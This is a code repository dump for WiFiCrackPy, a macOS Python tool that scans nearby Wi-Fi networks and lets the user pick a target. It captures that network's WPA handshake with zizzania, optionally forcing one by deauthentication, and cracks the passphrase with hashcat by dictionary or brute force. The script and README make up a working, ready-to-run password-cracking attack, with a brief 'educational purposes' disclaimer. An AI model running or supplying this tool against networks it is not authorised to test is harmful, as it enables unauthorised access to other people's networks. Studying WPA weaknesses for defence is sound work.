├── requirements.txt ├── LICENSE ├── README.md └── WiFiCrackPy.py /requirements.txt: -------------------------------------------------------------------------------- 1 | prettytable>=0.7.2 2 | tabulate>=0.8.7 3 | pyfiglet>=0.7 4 | pyobjc>=10.2 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 phenotypic 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WiFiCrackPy 2 | 3 | WiFiCrackPy demonstrates some of the security flaws associated with WPA(2) networks by performing simple and efficient cracking. The tool is for educational purposes and should not be misused. 4 | 5 | The script captures the necessary Wi-Fi packets associated with WPA(2) handshakes using [`zizzania`](https://github.com/cyrus-and/zizzania), processes them with [`hcxpcapngtool`](https://github.com/ZerBea/hcxtools), and then utilises [`hashcat`](https://github.com/hashcat/hashcat) to extract the hashed passkey. 6 | 7 | ## Prerequisites 8 | 9 | You must have `python3` installed. 10 | 11 | > **Important:** Use the [official Python installer for macOS](https://www.python.org/downloads/mac-osx/) instead of installing Python via Homebrew. Homebrew installs Python with *ad-hoc code signing*, which causes macOS to deny location access required by the script. The official installer signs Python with proper entitlements, allowing full functionality. 12 | 13 | You will also need to install any other outstanding requirements: 14 | 15 | | Command | Installation | 16 | | --- | --- | 17 | | `libpcap`, `wget`, `hcxpcapngtool` | Install via [brew](https://brew.sh) by running `brew install libpcap wget hcxtools` | 18 | | `~/zizzania/src/zizzania` | 1. Clone repository: `git clone https://github.com/cyrus-and/zizzania.git ~/zizzania`
2. Change directory: `cd ~/zizzania`
3. Build : `make -f config.Makefile && make` | 19 | | `~/hashcat/hashcat` | 1. Clone repository: `git clone https://github.com/hashcat/hashcat.git ~/hashcat`
2. Change directory: `cd ~/hashcat`
3. Build: `make` | 20 | 21 | ## Usage 22 | 23 | Clone the repository: 24 | ``` 25 | git clone https://github.com/phenotypic/WiFiCrackPy.git 26 | ``` 27 | 28 | Change to the project directory: 29 | ``` 30 | cd WiFiCrackPy 31 | ``` 32 | 33 | Install dependencies: 34 | ``` 35 | pip3 install -r requirements.txt 36 | ``` 37 | 38 | Run the script: 39 | ``` 40 | python3 WiFiCrackPy.py 41 | ``` 42 | 43 | The script is fairly easy to use, simply run it using the command above and enter your `sudo` password when prompted. The script also requires authorisaiton for location services in order to perform Wi-Fi scanning. 44 | 45 | Here are some flags you can add: 46 | 47 | | Flag | Description | 48 | | --- | --- | 49 | | `-w ` | Wordlist: Define a wordlist path (script will prompt you otherwise) | 50 | | `-i ` | Interface: Set Wi-Fi interface (script can auto-detect default interface) | 51 | | `-m ` | Method: Define the attack method (script will prompt you otherwise) | 52 | | `-p ` | Pattern: Define a [brute-force pattern](https://hashcat.net/wiki/doku.php?id=mask_attack) in advance (script will prompt you if required) | 53 | | `-o` | Optimised: Enable optimised kernels for `hashcat` | 54 | | `-d` | Deauthentication: Activates zizzania's deauthentication feature to force a handshake (do not misuse) | 55 | 56 | After running the script, you will be asked to choose a network to crack 57 | 58 | Following the selection of a network, you may have to wait for a while for a handshake to occur naturally on the target network (i.e. for a device to (re)connect to the network) unless you are using the `-d` flag which will force a handshake to hasten the process. 59 | 60 | Once a handshake is captured, `hashcat` can be used to crack the Wi-Fi password. This step may take quite a while depending on several factors including your Mac's processing power and the attack method chosen. If successfull, you will be presented with the password for the target network. 61 | 62 | WiFiCrackPy retains the handshake in its directory if you would like to perform another type of attack against the capture. 63 | 64 | ## Compatibility 65 | 66 | - `zizzania` has the ability to send deauthentication frames to force a handshake. This feature is disabled by default as frame injection is not possible from macOS 12 (Monterey) onwards. 67 | -------------------------------------------------------------------------------- /WiFiCrackPy.py: -------------------------------------------------------------------------------- 1 | import subprocess, re, argparse, CoreWLAN, CoreLocation 2 | from os.path import expanduser, join 3 | from prettytable import PrettyTable 4 | from pyfiglet import Figlet 5 | from time import sleep 6 | 7 | f = Figlet(font='big') 8 | print('\n' + f.renderText('WiFiCrackPy')) 9 | 10 | # Define paths 11 | hashcat_path = join(expanduser('~'), 'hashcat', 'hashcat') 12 | zizzania_path = join(expanduser('~'), 'zizzania', 'src', 'zizzania') 13 | 14 | # Parse arguments 15 | parser = argparse.ArgumentParser() 16 | parser.add_argument('-w') 17 | parser.add_argument('-m') 18 | parser.add_argument('-i') 19 | parser.add_argument('-p') 20 | parser.add_argument('-d', action='store_false') 21 | parser.add_argument('-o', action='store_true') 22 | args = parser.parse_args() 23 | 24 | # Initialise CoreLocation 25 | location_manager = CoreLocation.CLLocationManager.alloc().init() 26 | 27 | # Check if location services are enabled 28 | if not location_manager.locationServicesEnabled(): 29 | exit('Location services are disabled, please enable them and try again...') 30 | 31 | # Request authorisation for location services 32 | print('Requesting authorisation for location services (required for WiFi scanning)...') 33 | location_manager.requestWhenInUseAuthorization() 34 | 35 | # Wait for location services to be authorised 36 | max_wait = 60 37 | for i in range(max_wait): 38 | authorization_status = location_manager.authorizationStatus() 39 | # 0 = not determined, 1 = restricted, 2 = denied, 3 = authorised always, 4 = authorised when in use 40 | if authorization_status in [3, 4]: 41 | print('Received authorisation, continuing...') 42 | break 43 | if i > max_wait: 44 | exit('Unable to obtain authorisation, exiting...') 45 | sleep(1) 46 | 47 | # Get the default WiFi interface 48 | cwlan_client = CoreWLAN.CWWiFiClient.sharedWiFiClient() 49 | cwlan_interface = cwlan_client.interface() 50 | 51 | def colourise_rssi(rssi): 52 | if rssi > -60: 53 | # Green for strong signal 54 | return f"\033[92m{rssi}\033[0m" 55 | elif rssi > -80: 56 | # Yellow for moderate signal 57 | return f"\033[93m{rssi}\033[0m" 58 | else: 59 | # Red for weak signal 60 | return f"\033[91m{rssi}\033[0m" 61 | 62 | def scan_networks(): 63 | print('\nScanning for networks...\n') 64 | 65 | # Scan for networks 66 | scan_results, _ = cwlan_interface.scanForNetworksWithName_error_(None, None) 67 | 68 | # Parse scan results and display in a table 69 | table = PrettyTable(['Number', 'Name', 'BSSID', 'RSSI', 'Channel', 'Security']) 70 | networks = [] 71 | 72 | if scan_results is not None: 73 | for i, result in enumerate(scan_results): 74 | # Store relevant network information 75 | network_info = { 76 | 'ssid': result.ssid(), 77 | 'bssid': result.bssid(), 78 | 'rssi': result.rssiValue(), 79 | 'channel_object': result.wlanChannel(), 80 | 'channel_number': result.channel(), 81 | 'security': re.search(r'security=(.*?)(,|$)', str(result)).group(1) 82 | } 83 | networks.append(network_info) 84 | 85 | # Sort networks by RSSI value, descending 86 | networks_sorted = sorted(networks, key=lambda x: x['rssi'], reverse=True) 87 | 88 | # Add sorted networks to table 89 | for i, network in enumerate(networks_sorted): 90 | coloured_rssi = colourise_rssi(network['rssi']) 91 | table.add_row([i + 1, network['ssid'], network['bssid'], coloured_rssi, network['channel_number'], network['security']]) 92 | else: 93 | exit('No networks found or an error occurred. Exiting...') 94 | 95 | print(table) 96 | 97 | # Ask user to select a network to crack 98 | x = int(input('\nSelect a network to crack: ')) - 1 99 | capture_network(networks_sorted[x]['bssid'], networks_sorted[x]['channel_object']) 100 | 101 | 102 | def capture_network(bssid, channel): 103 | # Dissociate from the current network 104 | cwlan_interface.disassociate() 105 | 106 | # Set the channel 107 | cwlan_interface.setWLANChannel_error_(channel, None) 108 | 109 | # Determine the network interface 110 | if args.i is None: 111 | iface = cwlan_interface.interfaceName() 112 | else: 113 | iface = args.i 114 | 115 | print('\nInitiating zizzania to capture handshake...\n') 116 | 117 | # Use zizzania to capture the handshake 118 | subprocess.run(['sudo', zizzania_path, '-i', iface, '-b', bssid, '-w', 'capture.pcap', '-q'] + ['-n'] * args.d) 119 | 120 | # Convert the capture to hashcat format 121 | subprocess.run(['hcxpcapngtool', '-o', 'capture.hc22000', 'capture.pcap'], stdout=subprocess.PIPE) 122 | 123 | print('\nHandshake ready for cracking...\n') 124 | 125 | crack_capture() 126 | 127 | 128 | def crack_capture(): 129 | # Ask user to select a cracking method from menu 130 | if args.m is None: 131 | options = PrettyTable(['Number', 'Mode']) 132 | for i, mode in enumerate(['Dictionary', 'Brute-force', 'Manual']): 133 | options.add_row([i + 1, mode]) 134 | print(options) 135 | method = int(input('\nSelect an attack mode: ')) 136 | else: 137 | method = int(args.m) 138 | 139 | # Get the wordlist 140 | if method == 1 and args.w is None: 141 | wordlist = input('\nInput a wordlist path: ') 142 | elif method == 1 and args.w is not None: 143 | wordlist = args.w 144 | 145 | # Run hashcat against the capture 146 | if method == 1: 147 | subprocess.run([hashcat_path, '-m', '22000', 'capture.hc22000', wordlist] + ['-O'] * args.o) 148 | elif method == 2: 149 | # Get the brute-force pattern 150 | if args.p is None: 151 | pattern = input('\nInput a brute-force pattern: ') 152 | else: 153 | pattern = args.p 154 | subprocess.run([hashcat_path, '-m', '22000', '-a', '3', 'capture.hc22000', pattern] + ['-O'] * args.o) 155 | else: 156 | print('\nRun hashcat against: capture.hc22000') 157 | 158 | 159 | scan_networks() 160 | --------------------------------------------------------------------------------